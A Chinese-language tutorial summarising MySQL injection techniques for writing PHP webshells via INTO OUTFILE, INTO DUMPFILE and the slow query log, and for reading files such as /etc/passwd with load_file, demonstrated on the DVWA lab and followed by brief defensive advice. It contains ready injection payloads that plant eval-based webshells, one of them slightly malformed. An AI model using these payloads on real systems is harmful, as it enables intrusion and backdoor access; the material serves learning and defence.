Mysql注入写Shell读文件总结
字数 1450 2025-08-15 21:31:30
MySQL注入写Shell与读文件技术详解
一、导出函数写Shell技术
1.1 必要条件
-
网站可访问路径的绝对路径获取方法:
- 报错信息:输入异常值让脚本主动报错
- phpinfo页面:扫描目录寻找phpinfo文件
- 推测:目标可能使用集成安装包(如phpstudy)
- 枚举:尝试高频绝对路径
- 读取配置文件:中间件或web应用的配置文件
-
secure_file_priv参数设置:
- MySQL ≥5.5.53默认值为NULL(禁止导入导出)
- MySQL <5.5.53默认值为空(无限制)
- 查看方法:
show global variables like '%secure%'; - 三种状态:
- NULL:禁止导入导出
- 空值:无限制
- 指定目录:仅允许该目录下操作
-
MySQL服务对目标路径有写权限
-
MySQL用户有FILE权限或ROOT权限:
- 检查方法:
select user,file_priv from mysql.user;
- 检查方法:
-
GPC关闭/未对引号转义:
- outfile和dumpfile路径不支持hex编码,必须用引号包裹
1.2 导出函数对比
outfile函数
select '<?php phpinfo(); ?>' into outfile "C:\\\\phpStudy\\MySQL\\bin\\1.php";
select * from student into outfile 'C:/phpStudy/MySQL/bin/test.php';
特点:
- 可导出多行数据,每行末尾自动添加换行符
- 会进行特殊格式转换(\n会被转义,文件末尾加新行)
- 路径必须用引号包裹,不支持hex编码
- 不能覆盖已有文件
dumpfile函数
select '<?php phpinfo(); ?>' into dumpfile "C:\\phpStudy\\MySQL\\bin\\1.php";
特点:
- 只能导出一行数据
- 保持文件原生内容/格式,适合二进制文件
- 路径必须用引号包裹
- 不能覆盖已有文件
补充参数
select * from student into outfile "path"
LINES STARTING BY '<?php @eval($_POST[pass]);?>';
可选参数:
FIELDS TERMINATED BY ','- 字段分隔符OPTIONALLY ENCLOSED BY '"'- 字段包裹符LINES TERMINATED BY '\n'- 行结束符
1.3 实际案例演示
DVWA Low级别SQL注入示例:
- 直接写入一句话木马:
-1' union select 1,"<?php @eval($_POST['c']);?>" into outfile "C:/phpStudy/WWW/shell.php"#
- HEX编码方式写入:
-1' union select 1,0x3C3F70687020406576616C28245F504F53545B2763275D293B3F3E into outfile "C:/phpStudy/WWW/shell.php"#
- 先插入数据库再导出:
-1';insert into dvwa.guestbook values (2,"<?php @eval($_POST['c'shell") ;#
-1' union select comment,name from dvwa.guestbook into outfile 'C:/phpStudy/WWW/shell.php';#
二、日志写Shell技术
2.1 优势与条件
优势:规避secure_file_priv限制
必要条件:
- 网站可访问路径的绝对路径
- MySQL服务对目标路径有写权限
- 用户有权限开启和修改日志设置
- GPC关闭/未对引号转义
2.2 MySQL日志类型利用
主要利用慢查询日志:
- 查看日志相关设置:
SHOW GLOBAL VARIABLES LIKE '%log%';
关键参数:
slow_query_log:是否开启(默认OFF)slow_query_log_file:日志文件路径long_query_time:超过多少秒会被记录(默认10s)
- 修改日志为PHP文件并写入Shell:
set global slow_query_log = 1;
set global slow_query_log_file='C:/phpStudy/WWW/logshell.php';
select "<?php eval($_POST[log]);?>" from users where sleep(11);
注意:
- 错误日志(log_error)是只读的,无法通过SQL修改
- 事务日志和二进制日志同样无法通过SQL修改路径
三、读文件技术
3.1 必要条件
- 目标文件的绝对路径
- secure_file_priv允许读取该路径
- MySQL服务有读取权限
- 用户有FILE权限或ROOT权限
3.2 load_file函数
select load_file('绝对路径');
特点:
- 支持hex编码路径:
select load_file(0x2F6574632F706173737764);
3.3 实际案例
DVWA Low级别示例:
-1'union select 1,load_file('C:/phpStudy/WWW/readme.txt');#
四、防御建议
- 配置secure_file_priv为NULL或限制目录
- 避免使用ROOT账户连接数据库
- 严格控制FILE权限分配
- 开启GPC或对特殊字符进行转义
- 限制MySQL服务账户的目录权限
- 定期检查日志配置和异常文件
五、参考资源
- MySQL官方文档
- 各类安全研究文章(如FreeBuf等安全门户)
- OWASP SQL注入防护指南